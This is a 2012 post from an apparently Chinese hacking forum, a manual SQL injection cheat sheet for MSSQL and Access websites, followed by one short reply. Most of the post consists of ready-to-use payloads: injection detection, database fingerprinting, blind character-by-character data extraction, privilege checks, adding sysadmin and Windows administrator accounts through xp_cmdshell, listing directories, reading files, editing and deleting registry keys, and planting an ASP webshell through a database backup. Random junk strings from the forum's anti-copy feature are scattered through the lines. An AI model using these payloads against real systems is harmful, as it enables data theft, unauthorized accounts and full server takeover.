找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入
# d) O; b0 f; o9 t1.判断是否有注入;and 1=1 ;and 1=2 ) w$ _5 u* G( k" q' R( D" j! k

! Z0 P' r4 L- v0 U% s2.初步判断是否是mssql ;and user>0 2 i2 e6 ~# S, c$ ^$ y) t

  ~2 n; P& S) o( S) U% d3.注入参数是字符'and [查询条件] and ''='
0 ^* M7 Z. k- h: g/ m9 m6 j
1 J+ y0 `" N* }. v# K* W. x/ A4.搜索时没过滤参数的'and [查询条件] and '%25'=' # @' R# C9 k1 Z1 @- D' T6 E8 V0 f

/ c! C  E% f0 e5 y$ d5.判断数据库系统
+ _3 \. d! R+ ]/ m;and (select count(*) from sysobjects)>0 mssql , z9 E. P; A5 V5 G. C) L& h+ K4 _
;and (select count(*) from msysobjects)>0 access
0 t, P! S! L# n9 k# E- z; f' {3 n6 u8 z  ~
6.猜数据库 ;and (select Count(*) from [数据库名])>0
/ P) w+ ?( e2 k% q; o) w. Z3 h5 F8 ^1 g8 ^) W
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) {1 g4 G) h" Z" \8 e
3 y' _; R1 J2 T- t! t( O1 S8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 * p" S6 }% S! R0 A
& Y' X8 F$ A! B
9.(1)猜字段的ascii值(access)
$ u: L8 z9 @5 Z: _! l2 v7 w7 q3 e;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
8 |% r& Y8 A+ C) Q; P* p8 D7 s
- R) k9 Q8 Q% x" c  V) [6 R(2)猜字段的ascii值(mssql) 1 ?. K& A5 L. ^/ [3 g
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
( X$ `" o  K* K4 B7 r# H, Q& [4 d% o' R  L
10.测试权限结构(mssql)
% e  O4 t' _& l+ r: k;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- : l, N( M, U; p+ J1 x) e, a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . n2 c0 P' [. H; N0 S8 W0 g" N
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--   z6 ?& l! x% k! d: t8 d
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ z" i1 J/ x5 @9 @: t8 y+ Y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- / l8 U& I  {1 h9 z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 Q( C& \4 E. s! p- s1 g% a
;and 1=(select IS_MEMBER('db_owner'));-- 3 {& w* D  {, I8 U
/ C) r( G: ^  z: D
11.添加mssql和系统的帐户 ; c: {9 x0 Z' E) [, {
;exec master.dbo.sp_addlogin username;--   |$ V2 Z5 [8 z

; g0 ?  y; N4 p" w0 n;exec master.dbo.sp_password null,username,password;-- 3 G, t9 p* P+ k

  U2 {8 Q4 C! t( l2 f8 q;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , b+ D" G/ n' ]6 h& B' e8 F

" i9 ~. |0 L9 t: Y7 @;exec master.dbo.xp_cmdshell 'net user username password # R; ^% z+ ?- N8 q3 Y: h
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- * G6 k, w' U; u+ `8 i) h

: ]8 |& H4 `) Y4 Y;exec master.dbo.xp_cmdshell 'net user username password /add';-- . Y6 v$ F5 `8 a! Q

2 b; Q. r: W7 c7 @% U" |;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
( [% r- i4 x6 k$ q" m' n
" _4 I6 K5 D8 @2 d+ I# i9 q$ E12.(1)遍历目录
6 C- h9 L/ a- N! V; O, X, O( a: J: @3 s. Q; M5 n
;create table dirs(paths varchar(100), id int)
& e6 Y* l* f) M: T4 g+ F3 m;insert dirs exec master.dbo.xp_dirtree 'c:\'
" G5 R2 T) |: a! X" ?3 q7 E7 N;and (select top 1 paths from dirs)>0
/ H8 w7 J( k3 b+ h;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 q9 Z+ _5 D* y- |* [7 G+ M8 e+ x0 `% L, r2 D
(2)遍历目录
9 |! J+ B! y  B;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
2 X, p: U7 F' X! n0 v;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
1 L/ @3 _# O/ C2 ]% C;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
, y/ M& `+ u# j% U;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4 i4 J- v. X; M- s& Z) F8 g
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 H( R; f/ W9 n5 `/ e
. S, T" C0 I  Z& M1 o$ f
13.mssql中的存储过程 5 X/ G6 I0 K7 x7 P- ~( E% h

2 i" c( S* B3 p! nxp_regenumvalues 注册表根键, 子键 , _7 e6 x" z. Y0 B# H! t
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( G  ^- h) S) a3 [& _- |) j. f. b# n, j0 S
xp_regread 根键,子键,键值名 ; t( R1 \+ z5 i9 [: _; L
;exec xp_regread
3 F8 y3 Y, D7 A* y. A+ k% j'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3 x7 ^( B) i# ^: a

2 J- J/ V- |* \, L0 ~, {1 S8 gxp_regwrite 根键,子键, 值名, 值类型, 值
1 u. Q3 w) o. ^3 R值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - H2 @) v3 b) r9 J% E
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7 z3 ~9 D4 e3 m( p8 d, d; M' B
& M2 ?  r% N& \  I
xp_regdeletevalue 根键,子键,值名 ! G4 |8 b) D/ E( i" y  B: Z
8 W8 c3 f$ @* \; D. I* g
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 / K8 L8 x( q' K4 ~
. l9 c* k% H0 ]1 }* ?& s) v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 {: U, L2 z; |' I7 u, k6 j! b

% f0 u7 g# z) P4 b* V- H" |( E14.mssql的backup创建webshell 0 I% p' S1 T: C2 O8 y/ S  J
use model
2 U1 `% y. a8 `create table cmd(str image);
: R6 q4 V8 e) B% Ginsert into cmd(str) values (''); 9 i8 ^. A& f7 ^7 K
backup database model to disk='c:\l.asp';
( g1 B. m7 Y# Y" x) A2 o
% W. ?/ L, O% o15.mssql内置函数
# g; G* V' F; U/ E  d( h: l;and (select @@version)>0 获得Windows的版本号 % J1 u7 g4 G8 I* {* @+ \8 S
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
4 H) g7 b$ m2 `7 T4 a1 }% v;and (select user_name())>0 爆当前系统的连接用户 8 B8 G! f; s* m4 }8 w
;and (select db_name())>0 得到当前连接的数据库 . t$ ]& _7 |# H6 e6 o4 c

8 U( i  E* n$ {$ [& y! y1 ~  n" r  d+ R16.简洁的webshell 1 ]& [( R5 L6 c  N2 C
* C) p8 O9 E7 m' z. c
use model
, {: K" W8 I1 n' \0 }: w6 M. K- t4 Z: {* w3 k0 o
create table cmd(str image); # A& A" }" x' R/ H) L, O5 z

( m( c# r: N3 E, Y* `insert into cmd(str) values (''); $ X  H) s/ T9 D  C' T# I

) O. i4 W' o: O% s9 obackup database model to disk='g:\wwwtest\l.asp';
7 j# d2 |6 m& R2 ?
- E4 h0 v; ?$ s% I5 K, d) p$ o
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表